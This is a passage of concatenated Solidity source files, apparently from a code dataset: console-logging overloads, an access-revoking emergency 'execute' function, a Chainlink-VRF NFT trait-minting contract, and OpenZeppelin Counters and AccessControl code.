function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
} | Execute an access removal transaction AccessControl.sol doesn't revert if revoking permissions that haven't been granted If we don't check, planner and executor can collude to gain access to contacts | function execute(bytes32 txHash)
external override auth
{
Plan memory plan_ = plans[txHash];
require(plan_.state == State.PLANNED, "Emergency not planned for.");
plans[txHash].state = State.EXECUTED;
Permission[] memory permissions_ = abi.decode(plan_.permissions, (Permission[]));
for (uint256 i = 0; i < permissions_.length; i++){
Permission memory permission_ = permissions_[i];
for (uint256 j = 0; j < permission_.signatures.length; j++){
AccessControl contact = AccessControl(permission_.contact);
bytes4 signature_ = permission_.signatures[j];
require(
contact.hasRole(signature_, plan_.target),
"Permission not found"
);
contact.revokeRole(signature_, plan_.target);
}
}
emit Executed(txHash, plan_.target);
}
| 56,972 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract GenesisSupply is VRFConsumerBase, AccessControl {
using Counters for Counters.Counter;
enum TokenType {
NONE,
GOD,
DEMI_GOD,
ELEMENTAL
}
enum TokenSubtype {
NONE,
CREATIVE,
DESTRUCTIVE,
AIR,
EARTH,
ELECTRICITY,
FIRE,
MAGMA,
METAL,
WATER
}
struct TokenTraits {
TokenType tokenType;
TokenSubtype tokenSubtype;
}
/**
* Chainlink VRF
*/
bytes32 private keyHash;
uint256 private fee;
uint256 private seed;
bytes32 private randomizationRequestId;
/**
* Supply
*/
uint256 public constant MAX_SUPPLY = 1001;
uint256 public constant GODS_MAX_SUPPLY = 51;
uint256 public constant DEMI_GODS_MAX_SUPPLY = 400;
uint256 public constant DEMI_GODS_SUBTYPE_MAX_SUPPLY = 200;
uint256 public constant ELEMENTALS_MAX_SUPPLY = 550;
uint256 public constant ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY = 100;
uint256 public constant ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY = 50;
uint256 public constant RESERVED_GODS_MAX_SUPPLY = 6;
/**
* Counters
*/
Counters.Counter private tokenCounter;
Counters.Counter private godsCounter;
Counters.Counter private creativeDemiGodsCounter;
Counters.Counter private destructiveDemiGodsCounter;
Counters.Counter private earthElementalsCounter;
Counters.Counter private waterElementalsCounter;
Counters.Counter private fireElementalsCounter;
Counters.Counter private airElementalsCounter;
Counters.Counter private electricityElementalsCounter;
Counters.Counter private metalElementalsCounter;
Counters.Counter private magmaElementalsCounter;
Counters.Counter private reservedGodsTransfered;
/**
* Minting properties
*/
mapping(uint256 => TokenTraits) private tokenIdToTraits;
/**
* Utils
*/
bool public isRevealed;
bytes32 public constant GENESIS_ROLE = keccak256("GENESIS_ROLE");
constructor(
address vrfCoordinator,
address linkToken,
bytes32 _keyhash,
uint256 _fee
) VRFConsumerBase(vrfCoordinator, linkToken) {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
keyHash = _keyhash;
fee = _fee;
isRevealed = false;
// reserve 6 gods for owner
for (uint256 i = 0; i < RESERVED_GODS_MAX_SUPPLY; i++) {
godsCounter.increment();
tokenCounter.increment();
}
}
/**
* Setters
*/
function setIsRevealed(bool _isRevealed) external onlyRole(GENESIS_ROLE) {
isRevealed = _isRevealed;
}
/**
* Getters
*/
/**
* Returns the current index to mint
* @return index current index of the collection
*/
function currentIndex() public view returns (uint256 index) {
return tokenCounter.current();
}
/**
* Returns the number of reserved gods left with the supply
* @return index current index of reserved gods
* @return supply max supply of reserved gods
*/
function reservedGodsCurrentIndexAndSupply()
public
view
onlyRole(GENESIS_ROLE)
returns (uint256 index, uint256 supply)
{
return (reservedGodsTransfered.current(), RESERVED_GODS_MAX_SUPPLY);
}
/**
* Minting functions
*/
/**
* Mint a token
* @param count the number of item to mint
* @return startIndex index of first mint
* @return endIndex index of last mint
*/
function mint(uint256 count)
public
onlyRole(GENESIS_ROLE)
seedGenerated
returns (uint256 startIndex, uint256 endIndex)
{
require(
tokenCounter.current() + count < MAX_SUPPLY + 1,
"Not enough supply"
);
uint256 firstTokenId = tokenCounter.current();
for (uint256 i = 0; i < count; i++) {
uint256 nextTokenId = firstTokenId + i;
tokenIdToTraits[nextTokenId] = generateRandomTraits(
generateRandomNumber(nextTokenId)
);
tokenCounter.increment();
}
return (firstTokenId, firstTokenId + count);
}
/**
* Mint reserved gods
* This function needs to be ran BEFORE the mint is opened to avoid
* @param count number of gods to transfer
*/
function mintReservedGods(uint256 count) public onlyRole(GENESIS_ROLE) {
uint256 nextIndex = reservedGodsTransfered.current();
// Here we don't need to increment counter and god supply counter because we already do in the constructor
// to not initialize the counters at 0
for (uint256 i = nextIndex; i < count + nextIndex; i++) {
tokenIdToTraits[i] = TokenTraits(TokenType.GOD, TokenSubtype.NONE);
reservedGodsTransfered.increment();
}
}
/**
* Will request a random number from Chainlink to be stored privately in the contract
*/
function generateSeed() external onlyRole(DEFAULT_ADMIN_ROLE) {
require(seed == 0, "Seed already generated");
require(randomizationRequestId == 0, "Randomization already started");
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
randomizationRequestId = requestRandomness(keyHash, fee);
}
/**
* Callback when a random number gets generated
* @param requestId id of the request sent to Chainlink
* @param randomNumber random number returned by Chainlink
*/
function fulfillRandomness(bytes32 requestId, uint256 randomNumber)
internal
override
{
require(requestId == randomizationRequestId, "Invalid requestId");
require(seed == 0, "Seed already generated");
seed = randomNumber;
}
/**
* Metadata functions
*/
/**
* @dev Generates a uint256 random number from seed, nonce and transaction block
* @param nonce The nonce to be used for the randomization
* @return randomNumber random number generated
*/
function generateRandomNumber(uint256 nonce)
private
view
seedGenerated
returns (uint256 randomNumber)
{
return
uint256(keccak256(abi.encodePacked(block.timestamp, nonce, seed)));
}
/**
* Generate and returns the token traits (type & subtype) given a random number.
* Function will adjust supply based on the type and subtypes generated
* @param randomNumber random number provided
* @return tokenTraits randomly picked token traits
*/
function generateRandomTraits(uint256 randomNumber)
private
returns (TokenTraits memory tokenTraits)
{
// GODS
uint256 godsLeft = GODS_MAX_SUPPLY - godsCounter.current();
// DEMI-GODS
uint256 creativeDemiGodsLeft = DEMI_GODS_SUBTYPE_MAX_SUPPLY -
creativeDemiGodsCounter.current();
uint256 destructiveDemiGodsLeft = DEMI_GODS_SUBTYPE_MAX_SUPPLY -
destructiveDemiGodsCounter.current();
uint256 demiGodsLeft = creativeDemiGodsLeft + destructiveDemiGodsLeft;
// ELEMENTALS
uint256 elementalsLeft = ELEMENTALS_MAX_SUPPLY -
earthElementalsCounter.current() -
waterElementalsCounter.current() -
fireElementalsCounter.current() -
airElementalsCounter.current() -
electricityElementalsCounter.current() -
metalElementalsCounter.current() -
magmaElementalsCounter.current();
uint256 totalCountLeft = godsLeft + demiGodsLeft + elementalsLeft;
// We add 1 to modulos because we use the counts to define the type. If a count is at 0, we ignore it.
// That's why we don't ever want the modulo to return 0.
uint256 randomTypeIndex = (randomNumber % totalCountLeft) + 1;
if (randomTypeIndex <= godsLeft) {
godsCounter.increment();
return TokenTraits(TokenType.GOD, TokenSubtype.NONE);
} else if (randomTypeIndex <= godsLeft + demiGodsLeft) {
uint256 randomSubtypeIndex = (randomNumber % demiGodsLeft) + 1;
if (randomSubtypeIndex <= creativeDemiGodsLeft) {
creativeDemiGodsCounter.increment();
return TokenTraits(TokenType.DEMI_GOD, TokenSubtype.CREATIVE);
} else {
destructiveDemiGodsCounter.increment();
return
TokenTraits(TokenType.DEMI_GOD, TokenSubtype.DESTRUCTIVE);
}
} else {
return generateElementalSubtype(randomNumber);
}
}
function generateElementalSubtype(uint256 randomNumber)
private
returns (TokenTraits memory traits)
{
// ELEMENTALS
uint256 earthElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
earthElementalsCounter.current();
uint256 waterElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
waterElementalsCounter.current();
uint256 fireElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
fireElementalsCounter.current();
uint256 airElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
airElementalsCounter.current();
uint256 electricityElementalsLeft = ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY -
electricityElementalsCounter.current();
uint256 metalElementalsLeft = ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY -
metalElementalsCounter.current();
uint256 magmaElementalsLeft = ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY -
magmaElementalsCounter.current();
uint256 elementalsLeft = earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft +
electricityElementalsLeft +
metalElementalsLeft +
magmaElementalsLeft;
uint256 randomSubtypeIndex = (randomNumber % elementalsLeft) + 1;
if (randomSubtypeIndex <= earthElementalsLeft) {
earthElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.EARTH);
} else if (
randomSubtypeIndex <= earthElementalsLeft + waterElementalsLeft
) {
waterElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.WATER);
} else if (
randomSubtypeIndex <=
earthElementalsLeft + waterElementalsLeft + fireElementalsLeft
) {
fireElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.FIRE);
} else if (
randomSubtypeIndex <=
earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft
) {
airElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.AIR);
} else if (
randomSubtypeIndex <=
earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft +
electricityElementalsLeft
) {
electricityElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.ELECTRICITY);
} else if (
randomSubtypeIndex <=
earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft +
electricityElementalsLeft +
metalElementalsLeft
) {
metalElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.METAL);
} else {
magmaElementalsCounter.increment();
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.MAGMA);
}
}
/**
* Returns the metadata of a token
* @param tokenId id of the token
* @return traits metadata of the token
*/
function getMetadataForTokenId(uint256 tokenId)
public
view
validTokenId(tokenId)
returns (TokenTraits memory traits)
{
require(isRevealed, "Not revealed yet");
return tokenIdToTraits[tokenId];
}
/**
* Modifiers
*/
/**
* Modifier that checks for a valid tokenId
* @param tokenId token id
*/
modifier validTokenId(uint256 tokenId) {
require(tokenId < MAX_SUPPLY, "Invalid tokenId");
require(tokenId >= 0, "Invalid tokenId");
_;
}
/**
* Modifier that checks if seed is generated
*/
modifier seedGenerated() {
require(seed > 0, "Seed not generated");
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
